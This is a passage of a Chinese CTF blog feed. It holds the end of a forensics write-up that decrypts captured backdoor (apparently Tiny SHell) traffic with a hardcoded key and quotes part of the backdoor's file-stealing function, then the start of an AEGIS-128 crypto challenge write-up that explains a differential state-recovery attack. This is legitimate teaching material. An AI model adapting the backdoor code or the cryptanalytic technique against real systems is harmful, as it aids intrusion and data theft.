class="built_in">sha1_starts</span>( &amp;sha1_ctx );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, send_ctx.k_opad, <span class="number">64</span> );</span><br><span class="line">    <span class="built_in">sha1_update</span>( &amp;sha1_ctx, digest, <span class="number">20</span> );</span><br><span class="line">    <span class="built_in">sha1_finish</span>( &amp;sha1_ctx, digest );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// if( memcmp( hmac, digest, 20 ) != 0 )</span></span><br><span class="line">    <span class="comment">// &#123;</span></span><br><span class="line">    <span class="comment">//     puts(&quot;hmac not equal!&quot;);</span></span><br><span class="line">    <span class="comment">//     pel_errno = PEL_CORRUPTED_DATA;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//     return( PEL_FAILURE );</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* increment the packet counter */</span></span><br><span class="line"></span><br><span class="line">    send_ctx.p_cntr++;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* finally, decrypt and copy the message */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;blk_len:%d\n&quot;</span>,blk_len);</span><br><span class="line">    <span class="keyword">for</span>( i = <span class="number">0</span>; i &lt; blk_len; i += <span class="number">16</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">memcpy</span>( temp, &amp;buffer[i], <span class="number">16</span> );</span><br><span class="line"></span><br><span class="line">        <span class="built_in">aes_decrypt</span>( &amp;send_ctx.SK, &amp;buffer[i] );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span>( j = <span class="number">0</span>; j &lt; <span class="number">16</span>; j++ )</span><br><span class="line">        &#123;</span><br><span class="line">            buffer[i + j] ^= send_ctx.LCT[j];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">memcpy</span>( send_ctx.LCT, temp, <span class="number">16</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>( msg, &amp;buffer[<span class="number">2</span>], *length );</span><br><span class="line"></span><br><span class="line">    pel_errno = PEL_UNDEFINED_ERROR;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>( PEL_SUCCESS );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">check_challange</span><span class="params">(<span class="type">char</span>* input,<span class="type">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> ret = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;check challenge&quot;</span>);</span><br><span class="line">    ret = <span class="built_in">pel_recv_msg</span>( input, size, buffer, &amp;len );</span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS )&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;the error code is %x\n&quot;</span>,ret);</span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%x&quot;</span>, buffer[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( len != <span class="number">16</span> || <span class="built_in">memcmp</span>( buffer, challenge, <span class="number">16</span> ) != <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        pel_errno = PEL_WRONG_CHALLENGE;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span>( PEL_SUCCESS );</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">check_send_challange</span><span class="params">(<span class="type">char</span>* input,<span class="type">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> ret = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;check challenge&quot;</span>);</span><br><span class="line">    ret = <span class="built_in">pel_send_msg</span>( input, size, buffer, &amp;len );</span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS )&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;the error code is %x\n&quot;</span>,ret);</span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%x&quot;</span>, buffer[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( len != <span class="number">16</span> || <span class="built_in">memcmp</span>( buffer, challenge, <span class="number">16</span> ) != <span class="number">0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        pel_errno = PEL_WRONG_CHALLENGE;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span>( PEL_SUCCESS );</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">write_msg</span><span class="params">(<span class="type">char</span>* input,<span class="type">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> ret = <span class="number">0</span>;</span><br><span class="line">    <span class="type">char</span> filename[] =  <span class="string">&quot;./answer.jpg&quot;</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;check challenge&quot;</span>);</span><br><span class="line">    ret = <span class="built_in">pel_send_msg</span>( input, size, buffer, &amp;len );</span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS )&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;the error code is %x\n&quot;</span>,ret);</span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">int</span> fd=<span class="built_in">open</span>(filename, O_RDWR|O_CREAT|O_APPEND, <span class="number">0644</span>);</span><br><span class="line">    <span class="keyword">if</span>(fd &lt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;open error!&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;errno is %d\n&quot;</span>,errno);</span><br><span class="line">        <span class="keyword">return</span><span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">write</span>(fd, buffer, len);</span><br><span class="line">    <span class="built_in">close</span>(fd);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">check_msg</span><span class="params">(<span class="type">char</span>* input,<span class="type">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> len = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> ret = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;check challenge&quot;</span>);</span><br><span class="line">    ret = <span class="built_in">pel_recv_msg</span>( input, size, buffer, &amp;len );</span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS )&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;the error code is %x\n&quot;</span>,ret);</span><br><span class="line">        <span class="keyword">return</span>( PEL_FAILURE );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%x&quot;</span>, buffer[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span>( PEL_SUCCESS );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">char</span> key[] = <span class="string">&quot;IRuk5NEUbZorqn7&quot;</span>;</span><br><span class="line">    <span class="built_in">decrypt_init</span>(key);</span><br><span class="line">    <span class="built_in">check_challange</span>(peer0_1, <span class="built_in">sizeof</span>(peer0_1));</span><br><span class="line">    <span class="built_in">check_send_challange</span>(peer1_0, <span class="built_in">sizeof</span>(peer1_0));</span><br><span class="line">    <span class="built_in">check_challange</span>(peer0_2, <span class="built_in">sizeof</span>(peer1_0));</span><br><span class="line">    <span class="built_in">check_challange</span>(peer0_3, <span class="built_in">sizeof</span>(peer0_3));</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对比此时的流量图如下:<br><img src="/2021/04/24/Misc-SecTraffice-writeup/packet3.png" alt=""></p><p>此时要记住，<strong>红色的流表示的是攻击者发送到受害者的包，蓝色的流表示的是受害者发向攻击者的包</strong>，在记住了这个之后，我们就能知道，<br>packet425和427两个包，表示的是<strong>攻击者企图从受害者电脑上偷取的文件名字</strong>，也就是一个类似get的函数。并且在源码中也能找到类似的函数:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">tshd_get_file</span><span class="params">( <span class="type">int</span> client )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> ret, len, fd;</span><br><span class="line">    <span class="comment">/* get the filename */</span></span><br><span class="line">    ret = <span class="built_in">pel_recv_msg</span>( client, message, &amp;len );</span><br><span class="line">    <span class="keyword">if</span>( ret != PEL_SUCCESS )</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span>( <span class="number">14</span> );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    message[len] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">    <span class="comment">// ..</span></span><br></pre></td></tr></table></figure><p>于是最终的flag很明显了，<strong>就是此时从受害者主机上偷走的文件！</strong><br><img src="/2021/04/24/Misc-SecTraffice-writeup/hacker3.png" alt=""></p><p>所以最后我们根据整个解密代码，以及解析流量包，可以将main函数完善如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;init&quot;</span>);</span><br><span class="line">    <span class="type">char</span> key[] = <span class="string">&quot;IRuk5NEUbZorqn7&quot;</span>;</span><br><span class="line">    <span class="built_in">decrypt_init</span>(key);</span><br><span class="line">    <span class="built_in">check_challange</span>(peer0_1, <span class="built_in">sizeof</span>(peer0_1));</span><br><span class="line">    <span class="built_in">check_send_challange</span>(peer1_0, <span class="built_in">sizeof</span>(peer1_0));</span><br><span class="line">    <span class="built_in">check_challange</span>(peer0_2, <span class="built_in">sizeof</span>(peer1_0));</span><br><span class="line">    <span class="built_in">check_challange</span>(peer0_3, <span class="built_in">sizeof</span>(peer0_3));</span><br><span class="line">    <span class="type">const</span> <span class="type">int</span> walk = <span class="number">4132</span>;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i = <span class="number">0</span>;i &lt; <span class="built_in">sizeof</span>(peer1_1); i+= walk)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">write_msg</span>(&amp;peer1_1[i], <span class="number">4096</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最终解密发现文件是一个jpeg文件，打开后得到最终的flag<br><img src="/2021/04/24/Misc-SecTraffice-writeup/flag.jpg" alt=""></p><p>至此，整个题目解密完成</p><h3 id="一些思考">一些思考</h3><p>遇到这个题目的时候，实际上比赛已经结束了，然而整个题目非常之巧妙，当发现最终的flag【来自于受害者主机】的时候，感觉真的有一种要拿到宝藏的感觉。misc题目设计最困难的就是诱导选手去思考题目，而这边将三个考点分别藏在了同一个流量包的三段stream上，做起来一气呵成，没有太多需要脑洞的地方，实属misc脑洞横飞中的一股清流。</p><p>misc题目这个方向下的取证题目质量通常参差不齐，而本题基本上是模拟了一个现实场景中，针对攻击者的简易攻击，进行取证，信息搜集，协议分析，逆向，加密协议破解等均进行了考察，笔者从这边了解到了不少的知识，感觉受益匪浅。</p><p>最后不多说了，吹爆出题人就完事儿了~</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;有一阵子没有玩CTF，后来有一个师傅问了一下这个题目，突然就来了兴趣，于是好好研究了一下这个题目，发现这个题目质量确实可以，于是写了一份WP来记录一哈&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文首发于春秋伽玛 &lt;a href=&quot;https://mp.weixin.qq.com/s/sPgcxqG6gwjvgEJzWHC4KQ&quot;&gt;https://mp.weixin.qq.com/s/sPgcxqG6gwjvgEJzWHC4KQ&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="Misc" scheme="https://showlinkroom.me/categories/Misc/"/>
    
    
    <category term="Forenisc" scheme="https://showlinkroom.me/tags/Forenisc/"/>
    
    <category term="SSH" scheme="https://showlinkroom.me/tags/SSH/"/>
    
  </entry>
  
  <entry>
    <title>Taihu-Aegis-Writeup</title>
    <link href="https://showlinkroom.me/2020/11/29/Taihu-Aegis-Writeup/"/>
    <id>https://showlinkroom.me/2020/11/29/Taihu-Aegis-Writeup/</id>
    <published>2020-11-29T12:18:35.000Z</published>
    <updated>2020-11-29T12:22:50.649Z</updated>
    
    <content type="html"><![CDATA[<p>第一次出密码学的题目，为了出题特地去做了googlectf 2020的密码学，结果找到一个叫做aegis的加密协议，觉得很适合做题目，于是就有了下面这个题目~<br>本文首发于安全客<a href="https://www.anquanke.com/post/id/222629">https://www.anquanke.com/post/id/222629</a></p><span id="more"></span><h2 id="aegis">Aegis</h2><p>整个出题的题目参考了googlectf 2020 Oracle的题目。由于考虑到比赛时长的问题（其实是作者比较菜），基本上是将其中的一个考点拿了出来修改成了当前的题目。针对那个题目比较完整的解法可以参考<a href="https://github.com/nguyenduyhieukma/CTF-Writeups/blob/master/Google%20CTF%20Quals/2020/oracle/oracle-solution.ipynb">这里</a> 这个地方也有这个算法的比较详细的解释。</p><h3 id="算法简介">算法简介</h3><p>AEGIS 算法是一种AEAD（authenticated encryption with associated data 关联数据的认证加密） 加密。这种算法除了能够提供对指定明文的加密，还能够提供对未加密的关联数据的完整性保证。说通俗一点就是，除了能够对我们发送的需要加密的信息进行加密，同时还提供了对我们明文信息的长度和时间这些未加密的数据进行验证的手法。当我们将密文解开的时候，会包含一个之前提供的明文信息的验证途径，例如能够得到长度的一个验证数据，我们此时就能够用这个数据验证我们之前未加密的长度的完整性。<br>在题目中，我们能看到两种不同的值:pt和aad</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ct, tag = cipher.encrypt(iv, aad, pt)</span><br></pre></td></tr></table></figure><p>此处的pt表示的就是我们通常意义下的明文，而这里的aad，实际上就是<code>authenticated associated data</code>，认证关联数据。这个数据会参与到整个加密过程中，用于生成状态。<br>ct表示的是加密后的密文，tag则是在加密完成后的状态算法中生成的校验标签，可以用来校验aad的值是否发生变化。</p><p>关于aad的验证算法可以初步看一下加密过程。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">self, iv, ad, msg</span>):</span><br><span class="line">  S = self.initialize(iv)</span><br><span class="line">  S = self.update_aad(S, ad)</span><br><span class="line">  S, ct = self.raw_encrypt(S, msg)</span><br><span class="line">  tag = self.finalize(S, <span class="built_in">len</span>(ad) * <span class="number">8</span>, <span class="built_in">len</span>(msg) * <span class="number">8</span>)</span><br><span class="line">  <span class="keyword">return</span> ct, tag</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">self, iv, ad, ct, tag</span>):</span><br><span class="line">  S = self.initialize(iv)</span><br><span class="line">  S = self.update_aad(S, ad)</span><br><span class="line">  S, pt = self.raw_decrypt(S, ct)</span><br><span class="line">  tag2 = self.finalize(S, <span class="built_in">len</span>(ad) * <span class="number">8</span>, <span class="built_in">len</span>(ct) * <span class="number">8</span>)</span><br><span class="line">  <span class="keyword">if</span> tag2 != tag:</span><br><span class="line">    <span class="keyword">raise</span> Exception(<span class="string">&#x27;Invalid tag&#x27;</span>)</span><br><span class="line">  <span class="keyword">return</span> pt</span><br></pre></td></tr></table></figure><p>由于在加密或者解密过程中，aad值参与了最初加密状态的生成，所以aad值在不变的前提下，加解密中状态（State）变化是一致的，最后阶段算出来的 tag2 理论上会和我们传入的tag一致，就是利用这一点来保证aad的完整性。</p><h3 id="aegis128的算法">Aegis128的算法</h3><p>想要明白当前的算法的漏洞，需要先看明白当前加密算法原理。整个加密中会维护一个<strong>状态</strong>的概念，然后我们需要加密的内容会类似一些向量来影响整个状态，从而对明文完成加密。那么首先，为了更加方便的描述加密过程，我们需要预先定义一些变量:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">S[i]: 第i步更新的状态</span><br><span class="line">S[i][j]: 第i步状态中，第j块128bit分组</span><br><span class="line">^: 状态之间异或运算</span><br><span class="line">&amp;: 状态的与运算</span><br><span class="line">const0: 128bit的一个魔数（0x000101020305080d1522375990e97962）</span><br><span class="line">const1: 128bit的一个魔数（0xdb3d18556dc22ff12011314273b528dd）</span><br></pre></td></tr></table></figure><p>Aegis有三种不同的加密方式，我们这里使用的是128版本</p><h4 id="状态更新-statusupdate">状态更新 StatusUpdate</h4><p>Aegis加密算法中，一个重要的概操作就是状态更新StateUpdate。当这个过程发生的时候，其更新算法如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">m: 一个128bit的信息</span><br><span class="line">S[i+1] = StatueUpdate(S[i], m)</span><br><span class="line">S[i+1][0] = S[i][0]^AESRound(S[i][4])^m</span><br><span class="line">S[i+1][1] = S[i][1]^AESRound(S[i][0])</span><br><span class="line">S[i+1][2] = S[i][2]^AESRound(S[i][1])</span><br><span class="line">S[i+1][3] = S[i][3]^AESRound(S[i][2])</span><br><span class="line">S[i+1][4] = S[i][4]^AESRound(S[i][3])</span><br></pre></td></tr></table></figure><p>这个更新过程的流程大致可以写作如下:</p><p><img src="/2020/11/29/Taihu-Aegis-Writeup/aegis-128.png" alt=""></p><h4 id="初始化过程">初始化过程</h4><p>整个算法的更新，首先使用密钥K128与初始化向量IV128进行一些运算，最终产生整个算法的初始状态。此时的K128为我们加密算法的密钥，IV128为一个可变的向量。整个生成的过程可以写作:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">initialize</span>(<span class="params">self, iv</span>):</span><br><span class="line">    k_iv = _xor(self.key, iv)</span><br><span class="line">    S = [k_iv,</span><br><span class="line">         self.const_1,</span><br><span class="line">         self.const_0,</span><br><span class="line">         _xor(self.key, self.const_0),</span><br><span class="line">         _xor(self.key, self.const_1)]</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">      S = self.state_update(S, self.key)</span><br><span class="line">      S = self.state_update(S, k_iv)</span><br><span class="line">    <span class="keyword">return</span> S</span><br></pre></td></tr></table></figure><p>根据代码，我们可以写作:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">S[-5][0] = k128^iv128</span><br><span class="line">S[-5][1] = const_1</span><br><span class="line">S[-5][2] = const_0</span><br><span class="line">S[-5][3] = k128^const_0</span><br><span class="line">S[-5][4] = k128^const_1</span><br><span class="line"></span><br><span class="line">for i in range(5)</span><br><span class="line">    S[-5+i+1] = StatueUpdate(S[-4+i], k128)</span><br><span class="line">    S[-5+i+1] = StatueUpdate(S[-4+i+1], k128^iv128)</span><br></pre></td></tr></table></figure><p>这里写作-4，主要是为了可以同步，保证我们在起始状态下为<code>S[0]</code>。</p><h3 id="aegis-中的aes">Aegis 中的AES</h3><p>我们来仔细看一下Aegis中的AES算法。首先来看到官方给出的aes:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">aes_enc</span>(<span class="params">s: block, round_key: block</span>) -&gt; block:</span><br><span class="line">  <span class="string">&quot;&quot;&quot;Performs the AESENC operation with tables.&quot;&quot;&quot;</span></span><br><span class="line">  t0 = (te0[s[<span class="number">0</span>]] ^ te1[s[<span class="number">5</span>]] ^ te2[s[<span class="number">10</span>]] ^ te3[s[<span class="number">15</span>]])</span><br><span class="line">  t1 = (te0[s[<span class="number">4</span>]] ^ te1[s[<span class="number">9</span>]] ^ te2[s[<span class="number">14</span>]] ^ te3[s[<span class="number">3</span>]])</span><br><span class="line">  t2 = (te0[s[<span class="number">8</span>]] ^ te1[s[<span class="number">13</span>]] ^ te2[s[<span class="number">2</span>]] ^ te3[s[<span class="number">7</span>]])</span><br><span class="line">  t3 = (te0[s[<span class="number">12</span>]] ^ te1[s[<span class="number">1</span>]] ^ te2[s[<span class="number">6</span>]] ^ te3[s[<span class="number">11</span>]])</span><br><span class="line">  s = _block_from_ints([t0, t1, t2, t3])</span><br><span class="line">  <span class="keyword">return</span> _xor(s, round_key)</span><br></pre></td></tr></table></figure><p><code>te0[s[0]],te1[s[1]]</code>这些就相当于是s盒，按照<code>s0,s5,s10,s15</code>这种顺序取值相当于是行位移(shift)，取值进行异或就相当于是列混淆(mix_column)。整个过程我们大致写下来就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AES(m) = mix_column(shift(Sbox(m)))</span><br></pre></td></tr></table></figure><p>实际上就是AES加密算法中，除去<strong>密钥交换</strong>这一步之后的剩余步骤。并且我们知道，整个Aegis加密中，AES参与的方式为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">if j != 0</span><br><span class="line">S[i+1][j] = AES(S[i][(j+4)%5])</span><br><span class="line">else</span><br><span class="line">S[i+1][j] = AES(S[i][(j+4)%5]) ^ mi</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>于是我们可以简写成如下的运算:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">if j != 0</span><br><span class="line">C = AES(M)</span><br><span class="line">else</span><br><span class="line">C = AES(M)^m</span><br></pre></td></tr></table></figure><p>那假设此时，我们的M发生了一些变化，我们这里将变化的差值写作<code>dM</code>，此时有</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M1 = M^dM</span><br></pre></td></tr></table></figure><p>对M1的加密就可以写成:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">if j != 0</span><br><span class="line">C1 = AES(M1) = AES(M^dM)</span><br><span class="line">else</span><br><span class="line">C1 = AES(M1)^m = AES(M^dM)^m</span><br></pre></td></tr></table></figure><p>C1、C均为我们可以得到的具体值，如果我们能够通过控制加密的内容，使得dM可控（之后会展示）<strong>我们就有机会能够推导出M的值</strong>。具体的做法如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">1. 将C1^C，此时消除了m的影响，存在公式</span><br><span class="line">C1^C = AES(M^dM)^AES(M)</span><br><span class="line">2. AES = mix_column(shift(Sbox(m)))</span><br><span class="line">然而首先我们知道，mix_column本身也是异或运算得到的结果，也就是说满足</span><br><span class="line">mix_column(x)^mix_column(x^dx) = mix_column(dx)</span><br><span class="line">而shift只是位移操作，所以也可满足</span><br><span class="line">shift(x)^shift(x^dx) = shift(dx)</span><br><span class="line">所以实际上可以写作</span><br><span class="line">C1^C = AES(M^dM)^AES(M) = Sbox(M^dM)^Sbox(M)</span><br></pre></td></tr></table></figure><p>然而实际上，Sbox运算是可以被爆破的。假设我们能知道dM，那我们只需要爆破16个字节，最终就能推导出M的值</p><h3 id="aegis的加密过程">Aegis的加密过程</h3><p>由于Aegis128加密中的最小单位为128bit，也就是16字节，所以加密之前会将当前的明文填充至16的倍数。之后，每16个字节的加密手法如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for i in range(0, len16(msg), 16):</span><br><span class="line">    Ci = (S2 &amp; S3) ^ S1 ^ S4 ^ mi</span><br><span class="line">    Si+1 = StatusUpdate(Si, mi)</span><br></pre></td></tr></table></figure><p>注意一个细节，这边为了防止S0的参与导致加密算法被利用，所以在加密过程中故意抛弃了S0。<br>加密结束之后，更新当前状态块。这里参考一个图可能会更加清晰:</p><p><img src="/2020/11/29/Taihu-Aegis-Writeup/stf-no-param.png" alt=""></p><p><code>p[i][0]</code>为我们按照16字节分组的第i组明文输入，<code>k[0][0]</code>表示第0组的明文加密得到的密文。这里注意，我们的明文的<strong>第0组实际上参与了第一组密文的生成，并且还影响了第1组的状态</strong>。图上的红框表示的就是，当我们的输入<code>p[0][0]</code>发生变化的时候，实际上会影响的状态。从图上可知，当输入<code>p[0][0]</code>变化的时候，实际上会影响的是:<code>s[1][0], s[2][0], s[2][1], k[2][0]（这个地方应该写作k[2]，可能是图片作者写错了）</code></p><p>参考源码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">raw_encrypt</span>(<span class="params">S, msg</span>):</span><br><span class="line">    ct_blocks = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(msg), <span class="number">16</span>):</span><br><span class="line">      blk = msg[i:i+<span class="number">16</span>]</span><br><span class="line">      mask = Aegis128.output_mask(S)</span><br><span class="line">      <span 